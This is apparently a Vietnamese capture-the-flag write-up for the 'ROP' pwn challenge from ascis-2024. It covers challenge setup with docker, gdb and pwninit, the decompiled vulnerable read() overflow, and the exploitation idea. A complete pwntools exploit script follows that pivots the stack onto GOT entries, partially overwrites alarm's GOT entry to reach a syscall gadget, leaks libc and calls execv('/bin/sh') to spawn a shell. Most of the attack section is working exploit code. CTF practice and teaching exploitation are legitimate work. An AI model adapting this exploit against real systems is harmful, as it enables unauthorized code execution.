pwn - ROP
Setup
Chúng ta tiến hành setup challenge để lấy libc và loader, sau đó patch binary bằng pwninit.
┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ docker build -t rop .
[+] Building 20.2s (11/11) FINISHED
...
┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ docker run -p 5000:5000 --privileged -it rop
[I][2025-10-24T04:25:41+0000] Mode: LISTEN_TCP
[I][2025-10-24T04:25:41+0000] Jail parameters: hostname:'app', chroot:'', process:'/app/run', bind:[::]:5000, max_conns:0, max_conns_per_ip:0, time_limit:20, personality:0, daemonize:false, clone_newnet:true, clone_newuser:true, clone_newns:true, clone_newpid:true, clone_newipc:true, clone_newuts:true, clone_newcgroup:true, clone_newtime:false, keep_caps:false, disable_no_new_privs:false, max_cpus:0
[I][2025-10-24T04:25:41+0000] Mount: '/' flags:MS_RDONLY type:'tmpfs' options:'' dir:true
[I][2025-10-24T04:25:41+0000] Mount: '/srv' -> '/' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_BIND|MS_REC|MS_PRIVATE type:'' options:'' dir:true
[I][2025-10-24T04:25:41+0000] Mount: '/proc' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_NOEXEC type:'proc' options:'' dir:true
[I][2025-10-24T04:25:41+0000] Uid map: inside_uid:1000 outside_uid:1000 count:1 newuidmap:false
[I][2025-10-24T04:25:41+0000] Gid map: inside_gid:1000 outside_gid:1000 count:1 newgidmap:false
[I][2025-10-24T04:25:41+0000] Listening on [::]:5000┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ nc 0 5000┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ ps aux | grep /app/run
kali 19854 0.0 0.0 2652 1276 ? SNs 11:26 0:00 /app/run
kali 19935 0.0 0.0 6544 2320 pts/2 S+ 11:26 0:00 grep --color=auto /app/run
┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ gdb -p 19854
GNU gdb (Debian 16.3-5) 16.3
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r--p 1000 0 /app/run
0x401000 0x402000 r-xp 1000 1000 /app/run
0x402000 0x403000 r--p 1000 2000 /app/run
0x403000 0x404000 r--p 1000 2000 /app/run
0x404000 0x405000 rw-p 1000 3000 /app/run
0x7f328f5df000 0x7f328f5e2000 rw-p 3000 0 [anon_7f328f5df]
0x7f328f5e2000 0x7f328f60a000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f328f60a000 0x7f328f79f000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f328f79f000 0x7f328f7f7000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f328f7f7000 0x7f328f7f8000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f328f7f8000 0x7f328f7fc000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f328f7fc000 0x7f328f7fe000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f328f7fe000 0x7f328f80b000 rw-p d000 0 [anon_7f328f7fe]
0x7f328f80d000 0x7f328f80f000 rw-p 2000 0 [anon_7f328f80d]
0x7f328f80f000 0x7f328f813000 r--p 4000 0 [vvar]
0x7f328f813000 0x7f328f815000 r--p 2000 0 [vvar_vclock]
0x7f328f815000 0x7f328f817000 r-xp 2000 0 [vdso]
0x7f328f817000 0x7f328f819000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f328f819000 0x7f328f843000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f328f843000 0x7f328f84e000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f328f84f000 0x7f328f851000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f328f851000 0x7f328f853000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffc10b000 0x7ffffc12c000 rw-p 21000 0 [stack]┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
86a981d3badf rop "/jail/run" About a minute ago Up About a minute 0.0.0.0:5000->5000/tcp, [::]:5000->5000/tcp unruffled_hoover
┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ docker cp 86a981d3badf:/srv/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.22MB to /home/kali/Desktop/ascis-2024/rop/player/.
┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ docker cp 86a981d3badf:/srv/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 243kB to /home/kali/Desktop/ascis-2024/rop/player/.
┌──(kali㉿kali)-[~/Desktop/ascis-2024/rop/player]
└─$ pwninit --bin chall
bin: chall
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.8_amd64.deb
copying chall to chall_patched
running patchelf on chall_patched
writing solve.py stubSource Code
main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
setup(argc, argv, envp);
vuln();
return 0;
}vuln()
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
*(_WORD *)buf = -15521;
return read(0, buf, 0x48u);
}Mitigation

Solve
Trong hàm vuln(), chúng ta thấy chỉ có hàm read() để ghi vào stack buffer. Không có bất kỳ hàm nào để in dữ liệu ra. Ta có thể overflow 40 byte, nhưng không đủ để xây dựng một ROP chain hoàn chỉnh để spawn shell. Liệt kê các return gadgets, ta chỉ thấy pop rdi; ret và leave; ret có vẻ hữu ích, ngoài ra cũng không có gadget syscall trực tiếp.

Tuy nhiên, ta lưu ý rằng đây là Partial RELRO, ta có thể nghĩ đến việc pivot stack đến vùng các GOT entry và ghi đè chúng.

Kiểm tra hàm alarm(), ta phát hiện có gadget syscall; ...; ret nằm trong đó.

Ta có thể trích xuất gadget syscall này bằng cách ghi đè byte cuối của GOT entry của alarm thành 0x49.
Sau khi đã có syscall, ta có thể tiếp tục nghĩ đến việc ghi đè một trong các GOT entry thành địa chỉ của execve để spawn shell. Tuy nhiên, việc này đòi hỏi phải leak libc, tức là cần có hàm để in dữ liệu ra. Vì đã có syscall, ta chỉ cần đặt rax thành 1 để thực hiện syscall write(). Ta có thể đặt rax thành 1 bằng cách chỉ ghi 1 byte khi gọi read(), vì giá trị trả về của read() sẽ được đặt vào rax.
Vậy ý tưởng là: ta sẽ liên tục sử dụng hàm read() sẵn có để lần lượt lấy được syscall leak libc lấy được địa chỉ execve spawn shell.
Buffer nằm tại vị trí rbp - 0x20, nên ta sẽ liên tục pivot rbp đến vị trí cần ghi cộng thêm 0x20.

Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = ""
port = 0
return remote(host, port)
p = conn()
alarm_got = exe.got['alarm']
alarm_plt = exe.plt['alarm']
syscall = alarm_got + 9
vuln_read = exe.symbols['vuln'] + 21
# Để có thể ghi vào alarm GOT, ta phải pivot rbp tới alarm_got + 0x20, nhưng nếu làm ngay lập tức thì saved rbp mới tại alarm_got + 0x20 và return address kế bên nó sẽ toàn là byte 0, lúc đó ta không thể tiếp tục làm gì được nữa.
# Do đó, ta pivot rbp tới alarm_got + 0x40 trước để ghi vào alarm_got + 0x20 một saved rbp, sau đó đặt saved rbp hiện tại tại alarm_got + 0x40 về alarm_got + 0x20 để ta sẽ pivot rbp trở lại alarm_got + 0x20, khi đó ta mới có thể ghi vào alarm GOT.
# Ban đầu, rbp đang ở trên stack
payload = flat(
b'A' * 32, # padding
alarm_got + 0x40, # pivot rbp tới alarm_got + 0x40
vuln_read # sẽ dùng để ghi vào alarm_got + 0x20
)
s(p, payload) # ghi vào buffer trên stack
sleep(0.1)
# Bây giờ rbp đang ở alarm_got + 0x40
payload = flat(
alarm_got + 0xa0, # pivot rbp tới alarm_got + 0xa0 sau khi ghi đè alarm GOT
vuln_read, # sẽ dùng để ghi vào alarm_got + 0x80
b'A' * 16, # padding
alarm_got + 0x20, # pivot rbp tới alarm_got + 0x20
vuln_read # sẽ dùng để ghi vào alarm GOT
)
s(p, payload) # ghi vào alarm_got + 0x20
sleep(0.1)
# Bây giờ rbp đang ở alarm_got + 0x20, ta có thể ghi đè byte cuối thành 0x49 để tạo syscall gadget
s(p, b'\x49') # ghi vào alarm GOT
sleep(0.1)
# Bây giờ ta sẽ leak địa chỉ libc, cụ thể là stderr GOT entry tại alarm_got + 0x60. Ta cần pivot rbp tới alarm_got + 0x80, đặt rsi thành alarm_got + 0x60 và rdx thành 0x48 bằng cách dùng vuln_read, sau đó ta cũng cần đặt cả rax và rdi thành 1, cuối cùng gọi syscall gadget ta đã có trước đó để thực thi write(1, buf, 0x48)
# Bây giờ rbp đang ở alarm_got + 0xa0
pop_rdi_ret = 0x0000000000401247
payload = flat(
alarm_got + 0x20, # pivot rbp về alarm_got + 0x20 để ghi đè alarm GOT lần nữa thành execv sau khi leak được địa chỉ libc
pop_rdi_ret, # pop 1 vào rdi
p64(1),
alarm_plt, # syscall
alarm_got + 0xc0, # pivot rbp tới alarm_got + 0xc0 để tiếp tục viết ROP chain leak địa chỉ libc
vuln_read # sẽ dùng để ghi vào alarm_got + 0xa0
)
s(p, payload) # ghi vào alarm_got + 0x80
sleep(0.1)
# Bây giờ rbp đang ở alarm_got + 0xc0, ta sẽ hoàn thiện ROP chain để leak địa chỉ libc, tiếp tục sau syscall
leave_ret = 0x0000000000401260
payload = flat(
vuln_read, # sẽ dùng để ghi vào alarm GOT
leave_ret, # sau khi ghi vào alarm_got + 0x80, lệnh "leave; ret" trong vuln_read sẽ đặt rbp thành alarm_got + 0xc0 và rsp thành alarm_got + 0xa8 (chính là VỊ TRÍ NÀY). Để có thể pivot rbp trở lại alarm_got + 0x80 và ghi vào alarm_got + 0x60, ta cần đặt thêm một "leave; ret" ở đây, sau đó là 16 bytes padding, tiếp theo là alarm_got + 0x80 và một vuln_read. Lệnh "leave" sẽ đặt rbp thành alarm_got + 0x80 và "ret" tiếp tục gọi vuln_read
b'A' * 16,
alarm_got + 0x80, # pivot rbp tới alarm_got + 0x80 để leak địa chỉ libc tại alarm_got + 0x60
vuln_read, # sẽ dùng dùng để ghi 1 byte vào alarm_got + 0x60
b'A' * 16, # padding
b'/bin/sh\0' # để dùng sau này cho execv, nằm tại alarm_got + 0xe0
)
s(p, payload) # ghi vào alarm_got + 0xa0
sleep(0.1)
# Bây giờ rbp đang ở alarm_got + 0x80, ta sẽ đặt rax thành 1 bằng cách ghi 1 byte (kết quả từ read(0, buf, 0x48) sẽ được lưu vào rax)
s(p, b'\xff') # ghi vào alarm_got + 0x60
libc_leak = u64(p.recvn(6).ljust(8, b'\0'))
libc_base = libc_leak - 0x21b6ff # thay byte cuối của offset thành xff
libc.address = libc_base
success(f"libc base: {hex(libc_base)}")
sleep(0.1)
# Bây giờ rbp đang ở alarm_got + 0x20, ta sẽ ghi đè alarm GOT thành execv để không phải tự đặt rax thành 0x3b thủ công
payload = flat(
libc.symbols['execv'], # ghi đè alarm GOT
libc.symbols['read'],
libc.symbols['signal'],
libc.symbols['exit'],
alarm_got + 0xa0, # pivot tới alarm_got + 0xa0 để viết ROP chain cuối cùng gọi execv
vuln_read # sẽ dùng để ghi ROP chain spawn shell
)
s(p, payload) # ghi vào alarm GOT
sleep(0.1)
# Bây giờ rbp đang ở alarm_got + 0xa0
payload = flat(
b'\0' * 32, # padding
alarm_got + 0xa0, # rbp giữ nguyên, rsp chạy qua ROP chain dưới đây để spawn shell
pop_rdi_ret, # đặt rdi thành alarm_got + 0xe0
alarm_got + 0xe0, # /bin/sh
alarm_plt # execv
)
p.send(payload)
p.recvrepeat(1)
ia(p)